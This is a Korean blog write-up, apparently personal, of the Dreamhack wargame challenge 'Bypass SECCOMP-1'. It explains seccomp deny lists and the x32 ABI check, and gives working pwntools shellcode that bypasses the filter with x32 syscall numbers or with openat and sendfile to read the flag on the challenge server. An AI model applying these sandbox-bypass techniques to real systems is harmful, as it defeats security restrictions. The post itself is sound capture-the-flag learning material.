security/포너블 - dreamhack

[Dreamhack Wargame] Bypass SECCOMP-1

민사민서 2023. 6. 18. 02:35

"seccomp-tools dump [파일경로]" 를 통해 특정 바이너리의 seccomp 규칙 확인 가능

// 아키텍처 x86-64 아니면 KILL

// system call 번호가 0x40000000 미만이면, 그것이 write, open, execve, execveat 과 같은지 비교, 같으면 KILL

 

cf) 왜 A < 0x40000000 검사 코드 존재?

- x86-64와 x32, 두 개의 ABI(Application Binary Interface, 바이너리 수준에서의 인터페이스)는 같은 프로세서에서 동작

- x86-64에서는 32 비트 명령어를 호환할 수 있음

- SECCOMP에서 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 매크로 사용. 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명임

- 리눅스 커널에서 시스템 콜을 호출할 때, syscall과 register를 do_syscall_x64 전달해 호출(x86-64 ABI 이용)하고, 실패 시 do_syscall_x32를 호출(x32 ABI) => 호환성!

 

- 리눅스 커널은 x86_64 ABI인지 x32 ABI인지  구별하기 위해 시스템 콜 번호에 특정 값(0x40000000)을 더해 다르게 함

- do_syscall_x32 함수 코드를 살펴보면 호출하려는 syscall에서 특정 매크로 값을 뺀 콜 번호를 사용함

static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
	// __X32_SYSCALL_BIT = 0x40000000
	unsigned int xnr = nr - __X32_SYSCALL_BIT;
    ...

=> SECCOMP는 A<0x40000000 검사코드를 통해 x32 ABI를 이용한 syscall을 막는거지

 

cf) 해당 비교 없이 DENY_LIST만 있을 때?

- 타 시스템 콜에 의존하지 않는(내부적으로 타 시스템 콜 일어나지 않는) read, write, open만 이용해 exploit 가능

- x86_64 ABI에서의 syscall은 불가능하지만 0x40000000을 OR함으로써 x32 ABI에서 가능함!

# 32bit compatibility를 이용한 exploit
payload = shellcraft.open('./flag').replace('pop rax', 'pop rax\nor rax, 0x40000000')
payload += shellcraft.write(1, 'rax', 0x30).replace('pop rax', 'pop rax\nor rax, 0x40000000')
p.sendline(asm(payload))

 

다시 풀이로 돌아와서... 

x32 compatibility가 막혀있기 때문에 open/write을 대체할 syscall을 찾아야함

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

 

open 대신 openat
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
- If pathname is absolute, then dirfd is ignored.

 

write 대신 sendfile
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

 

syscall 시 레지스터 구성
call 종류는 %rax, 인자 종류는 %rdi, %rsi, %rdx, %r10, %r8, %r9 순서

 

/tmp/flag를 읽는 예제코드

from pwn import *

context(arch='x86_64', os="linux") # 혹은 'amd64'도 가능
p = process("./bypass_seccomp")

shellcode = shellcraft.openat(0, "/tmp/flag") # openat(0, "/tmp/flag", 0, 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 0xff) # .replace('xor r10d, r10d','') 생략해도 되더라 인자 4개면, sendfile(stdout, fd, 0, 0xffff)
shellcode += shellcraft.exit(0) # exit(0)

p.sendline(asm(shellcode))
p.interactive()

 

원격서버에서도 비슷하게 진행하면 됨.

flag 파일의 절대경로를 찾아야했는데, dockerfile에 해당 정보가 적혀있었다

ENV user bypass_seccomp
ADD ./flag /home/$user/flag
from pwn import *

context(arch="x86_64", os="linux")
# p = process("./bypass_seccomp")
p = remote("host3.dreamhack.games", 19570)

payload = shellcraft.openat(0, "/home/bypass_seccomp/flag")
payload += shellcraft.sendfile(1, 'rax', 0, 0xff) 
payload += shellcraft.exit(0) 

p.sendline(asm(payload))
p.interactive()

끗!

'security > 포너블 - dreamhack' 카테고리의 다른 글

Dockerfile을 이용해 CTF 문제 환경 구성하기  (2) 2023.06.19
[Dreamhack Wargame] seccomp  (0) 2023.06.18
[Dreamhack Wargame] validator  (0) 2023.06.16
pwn 강좌 메모  (0) 2023.06.15
[Dreamhack Wargame] Cat-Jump  (0) 2023.06.15